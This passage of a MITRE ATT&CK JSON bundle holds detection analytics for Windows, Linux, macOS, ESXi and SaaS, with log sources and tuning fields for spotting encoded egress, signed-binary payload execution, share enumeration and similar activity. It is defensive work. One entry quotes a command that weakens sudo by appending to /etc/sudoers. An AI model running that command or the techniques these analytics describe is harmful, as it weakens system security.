            "description": "Process invokes a standard encoder (e.g., PowerShell -enc, certutil -encode, base64 via .NET/Invoke-Expression) or emits long Base64/hex literals \u2192 shortly followed by outbound network egress with high bytes_out:bytes_in ratio or HTTP headers/payloads containing Base64/MIME blocks.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd",
                    "name": "WinEventLog:PowerShell",
                    "channel": "EventCode=4103, 4104, 4105, 4106"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "M365Defender:DeviceNetworkEvents",
                    "channel": "NetworkConnection: bytes_sent >> bytes_received anomaly"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "PayloadEntropyThreshold",
                    "description": "Shannon entropy cutoff to consider payload suspicious (e.g., > 4.5\u20135.0 for HTTP body)."
                },
                {
                    "field": "B64LengthThreshold",
                    "description": "Min continuous Base64 token length in command lines/script blocks to alert (e.g., > 100 chars)."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation window between encoding event and egress (default 10m)."
                },
                {
                    "field": "KnownAdminTools",
                    "description": "Legitimate tools (e.g., backup agents) that routinely encode/compress data."
                },
                {
                    "field": "BytesOutToInRatio",
                    "description": "Minimum ratio to treat flow as asymmetric (e.g., \u2265 4:1)."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--8626f553-efed-4418-bbc6-b9fa83b0b315",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0581#AN1599",
                    "external_id": "AN1599"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1599",
            "description": "Suspicious process initiating outbound connections to web services without corresponding response or return traffic, indicative of one-way command channels.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "etw:Microsoft-Windows-WinINet",
                    "channel": "WinINet API telemetry"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "DestinationDomain",
                    "description": "Can tune for popular web services (e.g., googleapis.com, github.com) based on threat actor tooling"
                },
                {
                    "field": "TimeWindow",
                    "description": "May adjust temporal window to catch beaconing patterns (e.g., every 10-30 mins)"
                },
                {
                    "field": "ProcessName",
                    "description": "Environment-specific tuning to exclude expected update or telemetry tools"
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--863a9028-6b2a-46c6-b696-dd310937fbf9",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0192#AN0552",
                    "external_id": "AN0552"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0552",
            "description": "Alterations to plist configuration files (RulesActiveState.plist, SyncedRules.plist, UnsyncedRules.plist, MessageRules.plist) that define email hiding or filtering rules. Defender perspective: unexpected changes in these files associated with Mail.app processes.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
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            "description": "Execution of trusted, Microsoft-signed binaries such as `rundll32.exe`, `msiexec.exe`, or `regsvr32.exe` used to execute externally hosted, unsigned, or suspicious payloads through command-line parameters or network retrieval.",
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                    "field": "RemoteDomainAllowlist",
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                    "field": "AutoscaleEventCount",
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                    "field": "ChecksumBaseline",
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            "description": "If infrastructure or patterns in the malicious web content related to SEO poisoning or [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) have been previously identified, internet scanning may uncover when an adversary has staged web content supporting a strategic web compromise. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).",
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                    "channel": "None"
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                    "name": "macos:unifiedlog",
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                    "field": "AllowedTeamIDs",
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                {
                    "field": "BrewTapsAllowList",
                    "description": "Trusted Homebrew taps."
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                {
                    "field": "TimeWindow",
                    "description": "Default 90 minutes."
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            "name": "Analytic 0575",
            "description": "Detects VM enumeration attempts using virtualization utilities such as VirtualBox (`VBoxManage`) or Parallels CLI. Defender observes abnormal invocation of VM listing commands correlated with non-admin users or unusual parent processes.",
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                    "name": "macos:unifiedlog",
                    "channel": "process_name IN (\"VBoxManage\", \"prlctl\") AND command CONTAINS (\"list\", \"show\")"
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                {
                    "field": "UserContext",
                    "description": "Adjust sensitivity depending on whether the command is executed by admin or non-admin users."
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                {
                    "field": "ExecutionTimeWindow",
                    "description": "Restrict alerts to unusual times when VM management is not expected."
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            "name": "Analytic 0441",
            "description": "Unusual screensaver (.scr) executions correlated with recent registry modifications to HKCU\\Control Panel\\Desktop values such as SCRNSAVE.exe, ScreenSaveTimeout, and ScreenSaveActive. Detection focuses on PE image paths not consistent with known legitimate screensavers and triggered after user inactivity timeout.",
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            "x_mitre_domains": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=13, 14"
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                    "field": "TimeWindow",
                    "description": "Adjust the user inactivity threshold that defines 'screensaver trigger window'; shorter timeouts may increase sensitivity."
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                    "field": "SuspiciousPathRegex",
                    "description": "Allow tuning based on expected paths for legitimate .scr files vs suspicious locations (e.g., user temp directories)."
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                {
                    "field": "ParentProcessAllowList",
                    "description": "Allowlisting known legitimate initiators of .scr files (e.g., user32.dll context) to reduce false positives."
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                {
                    "field": "RegistryEditorProcessName",
                    "description": "Monitor for registry modification performed by unusual processes (e.g., powershell.exe, reg.exe)."
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                    "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c",
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                    "channel": "launchctl disable or bootout calls"
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                    "name": "auditd:SYSCALL",
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                {
                    "field": "ServiceLabel",
                    "description": "Launch daemon label or name targeted by command"
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                {
                    "field": "LaunchType",
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            "description": "1) Package manager or curl/wget installs/upgrades from non-approved repos or unsigned packages; 2) new ELF written into PATH directories or replacement of existing binaries/libraries; 3) first run leads to unexpected child processes or outbound connections.",
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            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
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                "Linux"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                    "channel": "execve, unlink"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96",
                    "name": "auditd:SYSCALL",
                    "channel": "open, rename"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "journald:package",
                    "channel": "dpkg/apt install, remove, upgrade events"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "NSM:Flow",
                    "channel": "First-time egress to unknown registries/mirrors immediately after install"
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            "x_mitre_mutable_elements": [
                {
                    "field": "ApprovedRepos",
                    "description": "Allow-listed APT/YUM repo URLs and GPG key fingerprints."
                },
                {
                    "field": "PathScope",
                    "description": "Directories to watch for new ELF writes (e.g., /usr/bin, /usr/local/bin, /lib*/, /opt/*/bin)."
                },
                {
                    "field": "MinBinarySize",
                    "description": "Ignore tiny helper files; default >16KB."
                },
                {
                    "field": "TimeWindow",
                    "description": "Install\u2192first-run correlation window (default 2h)."
                }
            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--8708dc0b-8eeb-4a3d-8770-2fab30f46682",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0374#AN1055",
                    "external_id": "AN1055"
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            ],
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1055",
            "description": "Track creation or update of SaaS automation scripts (e.g., Google Workspace Apps Script). Detect when these scripts are bound to user events such as file opens or account modifications, and correlate with subsequent abnormal API calls that exfiltrate or modify user data.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "SaaS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e",
                    "name": "saas:appsscript",
                    "channel": "Create / Update: Deployment of scripts with event-driven triggers"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "saas:googledrive",
                    "channel": "FileOpen / FileAccess: Event-driven script triggering on user file actions"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ScriptScope",
                    "description": "Which SaaS apps or APIs can be legitimately automated in the environment"
                },
                {
                    "field": "TriggerTypes",
                    "description": "Event-driven triggers (e.g., on file open, on user creation) considered suspicious"
                }
            ],
            "x_mitre_deprecated": false
        },
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            "id": "x-mitre-analytic--8722b13a-1b20-4f2e-991b-153a26bba2a8",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0818#AN1950",
                    "external_id": "AN1950"
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            ],
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            "name": "Analytic 1950",
            "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
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            "x_mitre_deprecated": false
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0140#AN0393",
                    "external_id": "AN0393"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0393",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Linux"
            ],
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                    "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8",
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                    "channel": "PATH"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
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            ],
            "x_mitre_mutable_elements": [
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                    "field": "PathRegex",
                    "description": "Pattern matching known attacker staging directories or hidden file paths."
                },
                {
                    "field": "TimeWindow",
                    "description": "Deletion shortly after process execution or privilege escalation."
                },
                {
                    "field": "SecureDeletionTool",
                    "description": "Uncommon presence or use of `shred`, `wipe`, or `srm`."
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            ],
            "x_mitre_deprecated": false
        },
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN1586"
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            ],
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1586",
            "description": "ESXi shell or SSH access issuing `esxcli network diag ping` or viewing routing tables to identify connected hosts.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "ESXi"
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            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
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                    "channel": "None"
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            ],
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                    "field": "ESXCommandPattern",
                    "description": "Match specific diag/debug commands abused for recon"
                },
                {
                    "field": "RemoteUserShell",
                    "description": "Detect unauthorized shell use or user context (e.g., root over SSH)"
                }
            ],
            "x_mitre_deprecated": false
        },
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0143",
            "description": "Detect sudo activity with NOPASSWD in /etc/sudoers or disabling tty_tickets, followed by immediate privileged commands (e.g., echo 'Defaults !tty_tickets' >> /etc/sudoers).",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
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                "macOS"
            ],
            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f",
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            ],
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                    "field": "admin_user_context",
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                },
                {
                    "field": "terminal_restart_window",
                    "description": "Time window after sudoers file change to monitor for Terminal restarts"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--888e8587-e490-4509-9226-e72b32466618",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN1941"
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            "name": "Analytic 1941",
            "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
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            "x_mitre_deprecated": false
        },
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "external_id": "AN1635"
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
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            "description": "Detects exploitation of macOS security and integrity services, such as Gatekeeper, XProtect, or EDR agents. Defender observations include unsigned processes attempting privileged operations, abnormal termination of security daemons, or modification of system integrity logs.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
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                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:osquery",
                    "channel": "execve: Unsigned or unnotarized processes launched with high privileges"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SecurityDaemons",
                    "description": "Monitored Apple and third-party EDR/AV daemon names."
                },
                {
                    "field": "UnsignedProcessThreshold",
                    "description": "Number of unsigned high-privilege executions before alerting."
                }
            ],
            "x_mitre_deprecated": false
        },
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            "modified": "2025-10-21T15:10:28.402Z",
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            "description": "Monitors binary modification in /Applications and system library paths. Detects unsigned or improperly signed binaries executed after modification. Tracks Gatekeeper or notarization bypass attempts tied to modified binaries.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                    "channel": "execution of modified binary without valid signature"
                }
            ],
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                {
                    "field": "ApplicationPaths",
                    "description": "Tune which application and library directories are monitored for tampering"
                },
                {
                    "field": "SignatureVerificationDepth",
                    "description": "Define strictness of code-signing validation checks"
                }
            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
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            ],
            "modified": "2025-11-12T22:03:39.105Z",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc",
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                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
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            ],
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                    "field": "ServiceAccountScope",
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                },
                {
                    "field": "TicketValidationBaseline",
                    "description": "Expected TGS issuance patterns including KDC validation; anomalies may signal forged tickets."
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                    "field": "ProcessAllowlist",
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                },
                {
                    "field": "TimeWindow",
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            ]
        },
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            "type": "x-mitre-analytic",
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            ],
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
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            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "networkdevice:cli",
                    "channel": "command logging"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "CommandScope",
                    "description": "Limit detection to volume-level commands (e.g., `format`, `copy`, `mount`, `erase`)."
                },
                {
                    "field": "DeviceTypeFilter",
                    "description": "Filter by internal vs. removable volume interactions (e.g., flash, SD card)."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--8963772e-2ee5-421e-aec0-b952d05d4efc",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0502#AN1386",
                    "external_id": "AN1386"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1386",
            "description": "Hidden files via 'chflags hidden' or Apple-specific attributes, LaunchAgents/LaunchDaemons placed in non-standard hidden directories. Defender view: detect command execution modifying file flags and unusual plist creation in hidden paths.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:unifiedlog",
                    "channel": "Execution of chflags hidden or setfile -a V"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "macos:unifiedlog",
                    "channel": "Creation of LaunchAgents/LaunchDaemons in hidden or non-standard directories"
                }
            ],
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                {
                    "field": "HiddenDirectories",
                    "description": "List of directories monitored for hidden plist or agent placement."
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            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--8986f2ab-2e6d-4c68-99ac-6a1c5f29fb7b",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
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                    "external_id": "AN0589"
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0589",
            "description": "Registry read access associated with suspicious or non-interactive processes querying system config, installed software, or security settings.",
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            "x_mitre_deprecated": false,
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            "x_mitre_domains": [
                "enterprise-attack"
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                "Windows"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=13, 14"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "WinEventLog:PowerShell",
                    "channel": "EventCode=4103, 4104, 4105, 4106"
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                {
                    "field": "TargetRegistryPath",
                    "description": "Focus detection on registry hives or keys likely to reveal environment info (e.g., HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion)."
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                {
                    "field": "ParentProcess",
                    "description": "May tune for suspicious parent processes such as cmd.exe, wscript.exe, or mshta.exe."
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                {
                    "field": "TimeWindow",
                    "description": "Controls how closely registry access must follow process creation for correlation."
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            "name": "Analytic 0832",
            "description": "Detects execution of archiving utilities (tar, gzip, bzip2, xz, zip, openssl) followed by suspicious archive file creation. Correlates archive creation in temporary or staging directories with execution of commands involving compression or encryption options.",
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                "enterprise-attack"
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                "Linux"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
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                    "channel": "execve: Execution of tar, gzip, bzip2, xz, zip, or openssl with compression/encryption arguments"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "auditd:FILE",
                    "channel": "create: Creation of archive files in /tmp, /var/tmp, or user home directories"
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                {
                    "field": "ArchiveCommands",
                    "description": "List of archiving utilities considered suspicious."
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                    "field": "MonitoredDirectories",
                    "description": "Paths where archive creation is flagged as unusual (e.g., /tmp, /var/tmp)."
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                {
                    "field": "TimeWindow",
                    "description": "Correlation window for linking utility execution with archive creation."
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            "type": "x-mitre-analytic",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
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            "description": "Creation or modification of Login Items using AppleScript or Service Management Framework. Detection focuses on file creation/modification of `backgrounditems.btm`, new executables in `Contents/Library/LoginItems/`, use of `SMLoginItemSetEnabled` API, or suspicious processes triggered post-login without user interaction. Behavioral pivot includes anomalous AppleEvents, suspicious parent-child process pairs, and login-triggered execution chains.",
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            "x_mitre_attack_spec_version": "3.3.0",
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                "enterprise-attack"
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                "macOS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
                    "name": "macos:unifiedlog",
                    "channel": "Invocation of SMLoginItemSetEnabled by non-system or recently installed application"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd",
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                    "field": "TimeWindow",
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                    "field": "ExecutableAllowlist",
                    "description": "Define known-good login items to suppress false positives"
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                    "field": "PathRegexExclusion",
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            "x_mitre_deprecated": false
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                "enterprise-attack"
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                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96",
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                    "channel": "EventCode=8"
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                    "field": "TargetProcess",
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                },
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                    "field": "AccessMask",
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                {
                    "field": "TimeWindow",
                    "description": "Correlate memory access and hook setup in short windows (5\u201310 seconds)"
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            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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            "name": "Analytic 1332",
            "description": "Monitor resolver logs and auditd events for domains resolving to a rotating set of IPs within very short TTL intervals. Correlate high query rates from non-browser applications (e.g., python, curl).",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "auditd:SYSCALL",
                    "channel": "socket/connect"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TTLThreshold",
                    "description": "Minimum TTL value considered suspicious (e.g., < 60 seconds)"
                },
                {
                    "field": "DomainReputationFeed",
                    "description": "External TI feed to exclude benign CDN or load balancer behavior"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--8a2537c3-9e9a-482d-81e2-281f88cf8878",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "description": "Process or script enumerates network shares via CLI (net view/net share, PowerShell Get-SmbShare/WMI) or OS APIs (NetShareEnum/ srvsvc.NetShareEnumAll RPC) \u2192 bursts of outbound SMB/RPC connections (445/139, \\\\host\\IPC$ / srvsvc) to many hosts inside a short window \u2192 optional follow-on file listing or copy operations.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--b9a1578e-8653-4103-be23-cb52e0b1816e",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=17"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "WinEventLog:PowerShell",
                    "channel": "EventCode=4103, 4104, 4105, 4106"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
                    "name": "etw:Microsoft-Windows-RPC",
                    "channel": "rpc_call: srvsvc.NetShareEnum / NetShareEnumAll from non-admin or unusual processes"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "BurstHostThreshold",
                    "description": "Minimum number of unique destination hosts over SMB within TimeWindow to treat as scanning (e.g., \u22655)."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation window between the discovery process start and SMB fan-out (default 10m)."
                },
                {
                    "field": "AllowedDiscoveryAccounts",
                    "description": "Service/admin accounts legitimately running inventory scripts."
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                {
                    "field": "PipeNameAllowList",
                    "description": "Pipes (e.g., \\PIPE\\spoolss) normally accessed by management agents; exclude from alerts."
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            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--8a534291-3b75-45ba-9f7b-b952251a3f03",
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            ],
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            "name": "Analytic 0754",
